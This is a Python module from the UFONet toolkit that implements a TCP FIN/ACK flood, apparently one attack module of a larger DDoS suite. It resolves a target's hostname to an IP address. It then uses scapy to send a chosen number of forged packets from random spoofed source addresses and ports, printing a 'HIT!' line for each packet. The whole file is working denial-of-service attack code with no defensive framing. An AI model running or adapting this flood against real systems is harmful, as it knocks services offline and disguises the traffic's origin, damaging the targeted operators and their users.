finflood.py 2.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. # UFONet TCP FIN flood (RIPPER) - variant of UFOACK/UFORST with FIN flag
  21. def randIP():
  22. return ".".join(map(str, (random.randint(0,255) for _ in range(4))))
  23. def randInt():
  24. return random.randint(1, 65535)
  25. def ripperize(ip, sport, rounds):
  26. n=0
  27. try:
  28. for i in range(int(rounds)):
  29. n += 1
  30. try:
  31. src_ip = randIP()
  32. src_port = randInt()
  33. seq = randInt()
  34. packet = IP(src=src_ip, dst=ip) / TCP(sport=src_port, dport=sport, flags='FA', seq=seq)
  35. send(packet, verbose=0)
  36. print("[Info] [AI] [RIPPER] FIN flux ["+str(n)+"] from ["+src_ip+"] -> [HIT!]")
  37. except Exception:
  38. print("[Error] [AI] [RIPPER] Failed FIN flux ["+str(n)+"]")
  39. except:
  40. print("[Error] [AI] [RIPPER] Failing to engage... -> Is still target online? -> [Checking!]")
  41. class FINFLOOD(object):
  42. def attacking(self, target, rounds):
  43. print("[Info] [AI] TCP FIN flood (RIPPER) is ready to fire: [", rounds, "fluxes ]")
  44. port = 80
  45. if target.startswith('http://'):
  46. target = target.replace('http://','')
  47. elif target.startswith('https://'):
  48. target = target.replace('https://','')
  49. port = 443
  50. if '/' in target:
  51. target = target.split('/', 1)[0]
  52. if ':' in target:
  53. target, _p = target.rsplit(':', 1)
  54. try:
  55. port = int(_p)
  56. except Exception:
  57. pass
  58. try:
  59. ip = socket.gethostbyname(target)
  60. except Exception:
  61. try:
  62. import dns.resolver
  63. r = dns.resolver.Resolver()
  64. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  65. a = r.resolve(target, "A")
  66. for rd in a:
  67. ip = str(rd)
  68. except Exception:
  69. ip = target
  70. if ip == "127.0.0.1" or ip == "localhost":
  71. print("[Info] [AI] [RIPPER] Targeting 'localhost' -> [OK!]\n")
  72. ripperize(ip, port, rounds)